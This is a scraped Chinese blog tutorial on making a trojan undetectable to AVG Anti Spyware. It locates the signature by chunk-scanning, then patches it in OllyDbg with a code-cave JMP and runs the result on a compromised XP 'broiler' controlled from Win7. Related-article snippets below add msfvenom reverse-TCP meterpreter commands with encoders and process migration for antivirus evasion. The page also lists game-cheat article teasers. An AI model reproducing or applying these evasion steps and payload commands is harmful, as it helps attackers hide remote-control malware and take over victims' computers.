绕过杀毒软件，免杀木马制作

article/2025/9/24 3:28:38

绕过杀毒软件，免杀木马制作（以AVG Anti Spyware杀毒软件为例）

一、将Sever.exe打开，分块生成100个文件

在这里插入图片描述

二、使用AVG Anti Spyware查杀生成的文件，再二次处理，重复这个过程，直到缩小到很小的范围，精确定位特征码于0009B9C3

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

三、将文件偏移地址0009B9C3转换成内存地址0049C5C3

在这里插入图片描述

四、在OllyDbg中跳转到0049C5C3，滑动滚轮看到0049C5C1特征码指令内容，将指令内容填至程序最下方00空白的004A21E4处，并将JMP 004A21E4汇编至0049C5C1处。全部复制保存即能实现木马的免杀。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

五、将免杀木马在XP肉鸡上运行，Win7主机控制端能看见XP肉鸡上线

在这里插入图片描述
在这里插入图片描述


http://chatgpt.dhexx.cn/article/nUSdTEOk.shtml

相关文章

木马的伪装与免杀

木马的伪装与免杀

0x01:我们依靠msf生成简单的shellcode免杀 msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform LHOSTXXX LPORTXXX -e x86/shikata_ga_nai -i 12 -b \x00\ PrependMigratetrue PrependMIgrateProxsvchost.exe -f c > /root/Desktop/shellcode.c 这里我们生成…
阅读更多...
后渗透-木马免杀

后渗透-木马免杀

木马免杀 0x00 免杀 木马免杀的方法有很多种，如反转、异或、远程加载、加壳等，这里举例反转加异或 0x01 利用msfvenom制作木马 sfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.12.135 LPORT5555 -f py > 2.py# -p 指定payload # LHO…
阅读更多...
APT之木马静态免杀

APT之木马静态免杀

前言 这篇文章主要是记录手动编写代码进行木马免杀，使用工具也可以免杀，只不过太脚本小子了，而且工具的特征也容易被杀软抓到，指不定哪天就用不了了，所以要学一下手动去免杀木马，也方便以后开发一个只属于…
阅读更多...
【木马免杀】

【木马免杀】

文章目录 前言题目一.免杀需求，查杀技术，免杀技巧，免杀实战免杀需求查杀技术免杀技巧免杀实战webshell免杀：1.引用免杀2.可变变量3.二维数组4.数组交集5.回调函数6.编码 木马免杀：1.msf自带免杀2.msf捆绑免杀3.msf自带…
阅读更多...
2021Kali -- 木马免杀制作

2021Kali -- 木马免杀制作

​知道为什么梦里的人都看不清脸么？因为怕你当真。。。 ---- 网易云热评 一、通过MSF生成shellcode 1、启动MSF，演示版本是6.0.36 2、通过msfvenom生成相关代码 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b \x00 l…
阅读更多...
msf生成免杀木马

msf生成免杀木马

一.杀软原理 免杀概念免杀，也就是反病毒（AntiVirus）与反间谍（AntiSpyware）的对立面，英文为Anti-AntiVirus（简写Virus AV），逐字翻译为“反-反病毒”，翻译为“…
阅读更多...
052 木马免杀全攻略

052 木马免杀全攻略

木马免杀全攻略 转载自：a1pass.blog.163.com 2007-12-07 14:02:24| 分类： 思绪燃星火——技 | 标签：黑客 杂志刊物 作者：A1Pass 出处：http://a1pass.blog.163.com/ 本文发表于07年第7期《黑客X档案》，与原…
阅读更多...
渗透测试-木马免杀的几种方式

渗透测试-木马免杀的几种方式

前言 免杀，又叫免杀毒技术，是反病毒，反间谍的对立面，是一种能使病毒或木马免于被杀毒软件查杀的软件。它除了使病毒木马免于被查杀外，还可以扩增病毒木马的功能，改变病毒木马的行为。免杀的基本特征是破坏…
阅读更多...
木马免杀方式

木马免杀方式

前言 免杀，又叫免杀毒技术，是反病毒，反间谍的对立面，是一种能使病毒或木马免于被杀毒软件查杀的软件。它除了使病毒木马免于被查杀外，还可以扩增病毒木马的功能，改变病毒木马的行为。免杀的基本特征是破坏…
阅读更多...
Kali渗透-MSF木马免杀技术

Kali渗透-MSF木马免杀技术

前言 免杀技术全称为反杀毒技术 Anti-Virus 简称“免杀”，它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广，其中包含反汇编、逆向工程、系统漏洞等技术，内容基本上都是修改病毒、木马的内容改变特征码&#…
阅读更多...
C语言C++制作游戏外挂，一个简单的内存外挂！

C语言C++制作游戏外挂，一个简单的内存外挂！

通过 C 语言编写一个简单的外挂，通过 API 函数修改游戏数据，从而实现作弊功能 对象分析 要用的 API 函数简单介绍 编写测试效果 总体评价 下面是小编整理好的一套C/C资料，加小编C/C编程学习群825414254获取系统性学习C/C的学习资料 对象分析…
阅读更多...
使用MisakaPatcher制作Galgame外挂汉化补丁

使用MisakaPatcher制作Galgame外挂汉化补丁

简介 这两天我看见一个galgame机翻工具 MisakaTranslator，它类似VNR，使用C#编写并且支持Hook和OCR（图像识别）两种方法提取文本。 我在MisakaTranslator的基础上进行了一些改动，去除了所有的机翻的功能，转…
阅读更多...
利用python编程，制作自己的游戏“外挂”！

利用python编程，制作自己的游戏“外挂”！

Python简介及应用领域 Python是一种解释型脚本语言，可以应用于以下领域： Web 和 Internet开发科学计算和统计人工智能教育桌面界面开发软件开发后端开发网络爬虫 今天以一个小游戏和一小段代码来告诉大家编程有多好玩。 编程用的好，不仅可…
阅读更多...
外挂的艺术-单机游戏辅助工具-网络游戏外挂

外挂的艺术-单机游戏辅助工具-网络游戏外挂

外挂（wi gu） 又叫开挂、开外挂、辅助、第三方辅助软件，综合某些修改器的功能进行编程出的游戏修改器。一般指通过修改游戏数据而为玩家谋取利益的作弊程序或软件，即利用电脑技术针对一个或多个软件进行非原设操作，篡改…
阅读更多...
一步步用python制作游戏外挂【转】

一步步用python制作游戏外挂【转】

玩过电脑游戏的同学对于外挂肯定不陌生，但是你在用外挂的时候有没有想过如何做一个外挂呢？（当然用外挂不是那么道义哈，呵呵），那我们就来看一下如何用python来制作一个外挂。。。。 我打开了4399小游戏网&am…
阅读更多...
制作游戏辅助/外挂违法吗？

制作游戏辅助/外挂违法吗？

不知道你们有没有过一个体验： 玩《绝地求生》的时候，我们辛辛苦苦开着车在跑毒，旁边“咻”的一下突然蹭上来一个人，徒步跑得竟然比车快？ 然后吧他还跑到你旁边开麦问：“嘿！兄弟！挂…
阅读更多...
游戏外挂攻防艺术

游戏外挂攻防艺术

游戏外挂攻防艺术 （游戏外挂内幕首度解密 国内唯一相关权威著作） 徐胜 著 2013年2月出版 ISBN978-7-121-19532-7 定价：59.00元 256页 16开 编辑推荐 广义的外挂随处可见，一度喧嚣尘上的抢票浏览器其实就是外挂行为。对于游戏而言，外挂是一种通过篡改特定网游的部分程序而实…
阅读更多...
想学制作外挂的新手看过来

想学制作外挂的新手看过来

新手学易语言制作辅助的准备 1.三套基础教学视频，如：（觅风、世恒、魔鬼…等等） 2.CE、OD的使用方法 3.汇编与逆向基础视频 4.了解并学习做自己的E模块 5.了解并学习怎么过游戏检测 6.实战： ①准备1套游戏实战教程 ②跟随教程找本地所玩游戏相关数据 ③编写第一个辅助 存在…
阅读更多...
游戏外挂开发原理初探——植物大战僵尸内存挂为例

游戏外挂开发原理初探——植物大战僵尸内存挂为例

前言 对外挂有点兴趣，做番了解 一、游戏外挂开发原理 1、外挂分类 外挂现在大体上来讲分为三种，分别是模拟按键，WPE封包和内存挂 模拟键盘的，鼠标的，这种就叫做按键模拟，也叫脚本精灵修改数据包的&…
阅读更多...
用Python制作游戏外挂（上）

用Python制作游戏外挂（上）

源地址：http://eyehere.net/2012/python-game-bot-autopy-1/ 悲剧成我这样的人，我知道肯定不止我一个，所以我一点都不悲伤:-( 所以我打开了4399小游戏网，点开了一个不知名的游戏，唔，做寿司的，有…
阅读更多...
推荐文章

Copyright @ 2022~2023